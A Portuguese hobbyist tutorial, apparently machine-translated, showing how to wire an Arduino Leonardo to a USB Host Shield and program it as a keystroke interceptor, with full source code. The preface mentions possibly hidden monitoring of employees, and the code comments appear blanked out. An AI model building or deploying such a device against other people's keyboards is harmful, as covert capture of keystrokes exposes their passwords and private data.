Keylogger no Arduino

Prefácio


Vale dizer que o escopo deste dispositivo não é tão grande. Para o trabalho, isso é monitoramento, monitoramento do tempo de trabalho, proteção contra vazamento de informações e, provavelmente, isso é tudo.

Na vida cotidiana, isso pode facilitar a vida. Por exemplo, eles pressionaram uma certa combinação de teclas - o Arduino os reconheceu e ... enviou um sinal para ligar a chaleira. Se não for uma chaleira, então outra coisa.

Mas, ainda assim, esse é um rastreamento banal (possivelmente oculto) para um funcionário, o que, do ponto de vista moral, não é bom. Mas, no entanto, o certificado legal dá o aval se for prescrito no contrato de trabalho, se esse monitoramento ocorrer durante o horário de trabalho e no local de trabalho e se, é claro, o funcionário for informado e dispensado.

Bem, em sua vida pessoal, você é livre para fazer o que quiser, desde que se refira à sua propriedade.

Tudo, estamos legalmente protegidos, agora vou contar e mostrar o que precisamos e como reuni-lo para obter um simples interceptador de pressionamentos de tecla no teclado.

Vamos começar


Então, precisamos de uma dúzia de fios e duas placas:

1) Arduino Leonardo



2) Protetor de host USB



Por que Arduino Leonardo? Por ser relativamente barato e, diferentemente de seus antecessores, o ATmega32u4 possui suporte interno para conexões USB.

O protocolo USB define dois tipos de dispositivos: host (mestre, servidor) e periféricos (escravo, cliente). O USB Host Shield gerencia e fornece energia aos periféricos. Por exemplo, quando você conecta o teclado a um PC, o PC é o host que controla o cliente e o cliente, nesse caso, é o teclado.

E existem alguns periféricos suportados. Os mais interessantes são:

1) dispositivos HID: teclado, mouse, joystick, etc.
2) controladores de jogos
3) telefones e tablets Android compatíveis com ADK.

E para informações mais detalhadas, acesse o site oficial .

No nosso caso, este é o teclado. Pertence à classe de dispositivos HID. O código HID do teclado é codificado em 8 bytes:

1) 1 byte - cada bit corresponde ao seu próprio modificador (L Ctrl, R Ctrl, L Shift, R Shift, etc.).
2) 2 bytes - reservados e não precisamos, geralmente é nulo.
3) 3-8 bytes - contêm códigos de 6 chaves.

Você pode ler mais sobre isso aqui .

Tudo, com a teoria acabada, agora você pode montar o circuito.



A propósito, um programa muito conveniente para desenhar diagramas, no qual esse diagrama foi desenhado, está aqui .

Agora vale a pena explicar o que é o quê.

O Arduino Leonardo possui um pequeno recurso, devido ao qual não podemos conectá-lo no topo: os conectores SPI estão localizados no ICSP (esses 6 conectores estão no meio à direita) e, por isso, precisam ser conectados aos conectores digitais USB Host Shield.

1) Fio amarelo: pino 4 MOSI (conectado ao pino 11 na blindagem do host USB).
2) Fio cinza: pino 1 MISO (conectado a 12 pinos na blindagem do host USB).
3) Fio verde: pino 3 SCK (conectado ao pino 13 na blindagem do host USB).

Fornecemos energia com os cinco fios inferiores e um violeta:

1) Redefinir para redefinir
2) 3.3V para 3.3V
3) 5V para 5V
4) GND para GND
5) VIN para VIN
6) Redefinir para D7

Agora precisamos conectar os pinos de controle:
1) D7 a D7
2) D10 a D10

Este é o mínimo necessário para fazê-lo funcionar.

Portanto, existe um circuito, agora precisamos programá-lo de alguma forma e isso é feito usando o Arduino IDE. É totalmente gratuito e é de domínio público. Exemplos de programas e o próprio IDE podem ser encontrados no site oficial.

Para trabalhar com o USB Host Shield, precisamos de uma biblioteca adicional ( aqui ).

O código em si é o mais simples possível:

#include <hidboot.h>
#include <SPI.h>
#include <SD.h>

//     .
class KeyboardOut
{
  private:
    KeyReport _keyReport; //   8   .
    
    void send_report();
    
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};

KeyboardOut keyboard_out;

//     .
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers |= mod;
  
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {

    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}

//     .
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers &= mod;
  
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}

void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	//     .
}

//     USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};

KeyboardIn keyboard_in;

//     USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  
  uint8_t c = OemToAscii(mod, key);    //     
  PrintHex<uint8_t>(key, 0x80);            //     
}

//     USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  
  uint8_t c = OemToAscii(mod, key);
  PrintHex<uint8_t>(key, 0x80);
}

USB     UsbHost;

HIDBoot<HID_PROTOCOL_KEYBOARD>    HidKeyboard(&UsbHost);

void setup()
{
  UsbHost.Init();
  
  delay( 200 );

  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}

void loop()
{
  UsbHost.Task();
}

Resta apenas conectar-se via USB Arduino a um PC, e o teclado ao USB Host Shield, baixar o programa para o Arduino usando o IDE e pronto! O apanhador de chaves está pronto!

Resultados:

1) O Arduino oferece muitos recursos por seu baixo preço e uma grande variedade de módulos e sensores.
2) Este dispositivo pode permitir que você transforme seu teclado em um painel de controle, por exemplo, uma TV, uma chaleira elétrica, uma lâmpada, você só precisa comprar alguns módulos.

Source: https://habr.com/ru/post/pt388335/


All Articles